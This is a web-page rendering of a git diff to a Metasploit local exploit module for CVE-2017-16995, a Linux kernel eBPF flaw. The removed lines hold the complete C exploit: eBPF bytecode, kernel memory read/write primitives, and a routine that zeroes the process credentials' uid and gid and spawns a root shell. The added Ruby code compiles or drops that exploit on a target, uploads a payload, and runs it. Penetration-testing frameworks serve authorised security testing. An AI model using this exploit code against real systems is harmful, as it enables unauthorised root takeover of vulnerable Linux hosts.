[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
|
||||
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ],
|
||||
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ],
|
||||
[ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'],
|
||||
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir']
|
||||
end
|
||||
|
||||
def command_exists?(cmd)
|
||||
cmd_exec("command -v #{cmd} && echo true").include? 'true'
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
@ -78,14 +100,46 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
cmd_exec "chmod +x '#{path}'"
|
||||
end
|
||||
|
||||
def check
|
||||
version = kernel_release
|
||||
unless version.start_with? '4.4.0-116-generic'
|
||||
vprint_error "Kernel version #{version} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Kernel version #{version} appears to be vulnerable"
|
||||
def upload_and_compile(path, data)
|
||||
upload "#{path}.c", data
|
||||
|
||||
gcc_cmd = "gcc -o #{path} #{path}.c"
|
||||
if session.type.eql? 'shell'
|
||||
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
|
||||
end
|
||||
output = cmd_exec gcc_cmd
|
||||
rm_f "#{path}.c"
|
||||
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
|
||||
end
|
||||
|
||||
cmd_exec "chmod +x #{path}"
|
||||
end
|
||||
|
||||
def exploit_data(file)
|
||||
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file
|
||||
fd = ::File.open path, 'rb'
|
||||
data = fd.read fd.stat.size
|
||||
fd.close
|
||||
data
|
||||
end
|
||||
|
||||
def live_compile?
|
||||
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
|
||||
|
||||
if has_gcc?
|
||||
vprint_good 'gcc is installed'
|
||||
return true
|
||||
end
|
||||
|
||||
unless datastore['COMPILE'].eql? 'Auto'
|
||||
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
arch = kernel_hardware
|
||||
unless arch.include? 'x86_64'
|
||||
vprint_error "System architecture #{arch} is not supported"
|
||||
@ -93,18 +147,24 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
vprint_good "System architecture #{arch} is supported"
|
||||
|
||||
if session.type.to_s.eql? 'meterpreter'
|
||||
vprint_error 'Exploit can only be run on command shell sessions (Meterpreter does not work)'
|
||||
if unprivileged_bpf_disabled?
|
||||
vprint_error 'Unprivileged BPF loading is not permitted'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'Unprivileged BPF loading is permitted'
|
||||
|
||||
release = kernel_release
|
||||
if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||
|
||||
Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')
|
||||
vprint_error "Kernel version #{release} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Kernel version #{release} appears to be vulnerable"
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
if session.type.to_s.eql? 'meterpreter'
|
||||
fail_with Failure::BadConfig, 'Exploit can only be run on command shell sessions (Meterpreter does not work)'
|
||||
end
|
||||
|
||||
unless check == CheckCode::Appears
|
||||
fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
|
||||
end
|
||||
@ -117,295 +177,27 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
compile = false
|
||||
if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
|
||||
if command_exists? 'gcc'
|
||||
vprint_good 'gcc is installed'
|
||||
compile = true
|
||||
else
|
||||
unless datastore['COMPILE'].eql? 'Auto'
|
||||
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
c_code = %q{
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/stat.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define PHYS_OFFSET 0xffff880000000000
|
||||
#define CRED_OFFSET 0x5f8
|
||||
#define UID_OFFSET 4
|
||||
#define LOG_BUF_SIZE 65536
|
||||
#define PROGSIZE 328
|
||||
|
||||
int sockets[2];
|
||||
int mapfd, progfd;
|
||||
|
||||
char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
|
||||
"\x55\x09\x02\x00\xff\xff\xff\xff"
|
||||
"\xb7\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x18\x19\x00\x00\x03\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\x91\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
|
||||
"\x07\x02\x00\x00\xfc\xff\xff\xff"
|
||||
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
|
||||
"\x85\x00\x00\x00\x01\x00\x00\x00"
|
||||
"\x55\x00\x01\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x79\x06\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\x91\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
|
||||
"\x07\x02\x00\x00\xfc\xff\xff\xff"
|
||||
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
|
||||
"\x85\x00\x00\x00\x01\x00\x00\x00"
|
||||
"\x55\x00\x01\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x79\x07\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\x91\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
|
||||
"\x07\x02\x00\x00\xfc\xff\xff\xff"
|
||||
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
|
||||
"\x85\x00\x00\x00\x01\x00\x00\x00"
|
||||
"\x55\x00\x01\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x79\x08\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\x02\x00\x00\x00\x00\x00\x00"
|
||||
"\xb7\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x55\x06\x03\x00\x00\x00\x00\x00"
|
||||
"\x79\x73\x00\x00\x00\x00\x00\x00"
|
||||
"\x7b\x32\x00\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x55\x06\x02\x00\x01\x00\x00\x00"
|
||||
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x7b\x87\x00\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00";
|
||||
|
||||
char bpf_log_buf[LOG_BUF_SIZE];
|
||||
|
||||
static int bpf_prog_load(enum bpf_prog_type prog_type,
|
||||
const struct bpf_insn *insns, int prog_len,
|
||||
const char *license, int kern_version) {
|
||||
union bpf_attr attr = {
|
||||
.prog_type = prog_type,
|
||||
.insns = (__u64)insns,
|
||||
.insn_cnt = prog_len / sizeof(struct bpf_insn),
|
||||
.license = (__u64)license,
|
||||
.log_buf = (__u64)bpf_log_buf,
|
||||
.log_size = LOG_BUF_SIZE,
|
||||
.log_level = 1,
|
||||
};
|
||||
|
||||
attr.kern_version = kern_version;
|
||||
|
||||
bpf_log_buf[0] = 0;
|
||||
|
||||
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
|
||||
int max_entries) {
|
||||
union bpf_attr attr = {
|
||||
.map_type = map_type,
|
||||
.key_size = key_size,
|
||||
.value_size = value_size,
|
||||
.max_entries = max_entries
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
static int bpf_update_elem(uint64_t key, uint64_t value) {
|
||||
union bpf_attr attr = {
|
||||
.map_fd = mapfd,
|
||||
.key = (__u64)&key,
|
||||
.value = (__u64)&value,
|
||||
.flags = 0,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
static int bpf_lookup_elem(void *key, void *value) {
|
||||
union bpf_attr attr = {
|
||||
.map_fd = mapfd,
|
||||
.key = (__u64)key,
|
||||
.value = (__u64)value,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
static void __exit(char *err) {
|
||||
fprintf(stderr, "error: %s\n", err);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
static void prep(void) {
|
||||
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
|
||||
|
||||
if (mapfd < 0)
|
||||
__exit(strerror(errno));
|
||||
|
||||
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
|
||||
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
|
||||
|
||||
if (progfd < 0)
|
||||
__exit(strerror(errno));
|
||||
|
||||
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
|
||||
__exit(strerror(errno));
|
||||
|
||||
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
|
||||
__exit(strerror(errno));
|
||||
}
|
||||
|
||||
static void writemsg(void) {
|
||||
char buffer[64];
|
||||
|
||||
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
|
||||
|
||||
if (n < 0) {
|
||||
perror("write");
|
||||
return;
|
||||
}
|
||||
if (n != sizeof(buffer))
|
||||
fprintf(stderr, "short write: %lu\n", n);
|
||||
}
|
||||
|
||||
#define __update_elem(a, b, c) \
|
||||
bpf_update_elem(0, (a)); \
|
||||
bpf_update_elem(1, (b)); \
|
||||
bpf_update_elem(2, (c)); \
|
||||
writemsg();
|
||||
|
||||
static uint64_t get_value(int key) {
|
||||
uint64_t value;
|
||||
|
||||
if (bpf_lookup_elem(&key, &value))
|
||||
__exit(strerror(errno));
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
static uint64_t __get_fp(void) {
|
||||
__update_elem(1, 0, 0);
|
||||
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
static uint64_t __read(uint64_t addr) {
|
||||
__update_elem(0, addr, 0);
|
||||
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
static void __write(uint64_t addr, uint64_t val) {
|
||||
__update_elem(2, addr, val);
|
||||
}
|
||||
|
||||
static uint64_t get_sp(uint64_t addr) {
|
||||
return addr & ~(0x4000 - 1);
|
||||
}
|
||||
|
||||
static void pwn(void) {
|
||||
uint64_t fp, sp, task_struct, credptr, uidptr;
|
||||
|
||||
fp = __get_fp();
|
||||
if (fp < PHYS_OFFSET)
|
||||
__exit("bogus fp");
|
||||
|
||||
sp = get_sp(fp);
|
||||
if (sp < PHYS_OFFSET)
|
||||
__exit("bogus sp");
|
||||
|
||||
task_struct = __read(sp);
|
||||
|
||||
if (task_struct < PHYS_OFFSET)
|
||||
__exit("bogus task ptr");
|
||||
|
||||
printf("task_struct = %lx\n", task_struct);
|
||||
|
||||
credptr = __read(task_struct + CRED_OFFSET); // cred
|
||||
|
||||
if (credptr < PHYS_OFFSET)
|
||||
__exit("bogus cred ptr");
|
||||
|
||||
uidptr = credptr + UID_OFFSET; // uid
|
||||
if (uidptr < PHYS_OFFSET)
|
||||
__exit("bogus uid ptr");
|
||||
|
||||
printf("uidptr = %lx\n", uidptr);
|
||||
__write(uidptr, 0); // set both uid and gid to 0
|
||||
|
||||
if (getuid() == 0) {
|
||||
printf("spawning root shell\n");
|
||||
system("/bin/bash");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
__exit("not vulnerable?");
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
prep();
|
||||
pwn();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
exploit_name = ".#{rand_text_alphanumeric 8..12}"
|
||||
exploit_path = "#{base_dir}/#{exploit_name}"
|
||||
|
||||
# exploit name must be 7 characters to allow string replacement
|
||||
# in the pre-compiled binary
|
||||
payload_name = ".#{rand_text_alphanumeric 7}"
|
||||
payload_path = "#{base_dir}/#{payload_name}"
|
||||
|
||||
if compile
|
||||
# Upload exploit executable
|
||||
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||
executable_path = "#{base_dir}/#{executable_name}"
|
||||
if live_compile?
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
c_code.gsub!(%r{/bin/bash}, payload_path)
|
||||
upload "#{exploit_path}.c", c_code
|
||||
output = cmd_exec "gcc -o #{exploit_path} #{exploit_path}.c"
|
||||
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
|
||||
end
|
||||
|
||||
cmd_exec "chmod +x #{exploit_path}"
|
||||
upload_and_compile executable_path, exploit_data('exploit.c')
|
||||
else
|
||||
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||
compiled_path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out'
|
||||
fd = ::File.open compiled_path, 'rb'
|
||||
exploit_data = fd.read fd.stat.size
|
||||
fd.close
|
||||
|
||||
exploit_data.gsub!(%r{/tmp/JDQDHtEG}, payload_path)
|
||||
upload_and_chmodx exploit_path, exploit_data
|
||||
upload_and_chmodx executable_path, exploit_data('exploit.out')
|
||||
end
|
||||
|
||||
# Upload payload executable
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
print_status 'Launching exploit...'
|
||||
output = cmd_exec exploit_path
|
||||
# Launch exploit
|
||||
print_status 'Launching exploit ...'
|
||||
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} "
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
print_status "Cleaning up #{payload_path} and #{executable_path} ..."
|
||||
rm_f executable_path
|
||||
rm_f payload_path
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user